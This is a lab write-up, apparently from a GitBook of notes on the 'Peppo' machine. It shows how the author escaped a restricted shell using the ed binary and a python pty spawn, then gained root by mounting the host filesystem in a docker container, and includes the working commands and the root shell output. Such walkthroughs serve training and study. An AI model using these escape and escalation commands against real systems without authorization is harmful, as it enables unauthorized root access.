> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/peppo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/peppo/priv-escalation.md).

# Priv Escalation

### Breaking out of RSHELL

I first tried to use the following articles. 

{% embed url="<https://oscpnotes.infosecsanyam.in/My_OSCP_Preparation_Notes--Enumeration--SSH--rbash_shell_esacping.html>" %}

This one didn't work.&#x20;

{% embed url="<https://www.metahackers.pro/breakout-of-restricted-shell/>" %}

This one also didn't work however after seeing my $PATH, I was able to see the commands I was able to run.&#x20;

![](https://3357798275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT0DLK4K3gjJszy3E0i4n%2Fuploads%2FknxlAfBrMRXD416dV1TX%2F2022-08-01_11-55.png?alt=media\&token=76da6922-aa4f-437d-98f4-44238522d3c8)

After seeing the commands the current shell was able to run I went to gtfobins.

{% embed url="<https://gtfobins.github.io/gtfobins/ed/>" %}

The ed binary allows us to escape a restricted shell.&#x20;

We then run the following command to export a new $PATH.

```
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
python -c 'import pty; pty.spawn("/bin/bash")'
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
```

![](https://3357798275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT0DLK4K3gjJszy3E0i4n%2Fuploads%2FPm8wBRhcv6yGWXgdB8qa%2F2022-08-01_12-10.png?alt=media\&token=7a75513e-cf1e-43cf-995f-ca953b0e5ef5)

### Enumerate images

![](https://3357798275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT0DLK4K3gjJszy3E0i4n%2Fuploads%2FyLWUrPHt1ntJXawKW3Ud%2F2022-08-01_12-12.png?alt=media\&token=25128253-9562-44b3-a5ef-c7b0378211b3)

{% embed url="<https://gtfobins.github.io/gtfobins/docker/>" %}

Based on the images run the following command:

```
docker run -v /:/mnt --rm -it redmine chroot /mnt sh
```

```
eleanor@peppo:/tmp$ docker run -v /:/mnt --rm -it redmine chroot /mnt sh
# whoami
root
```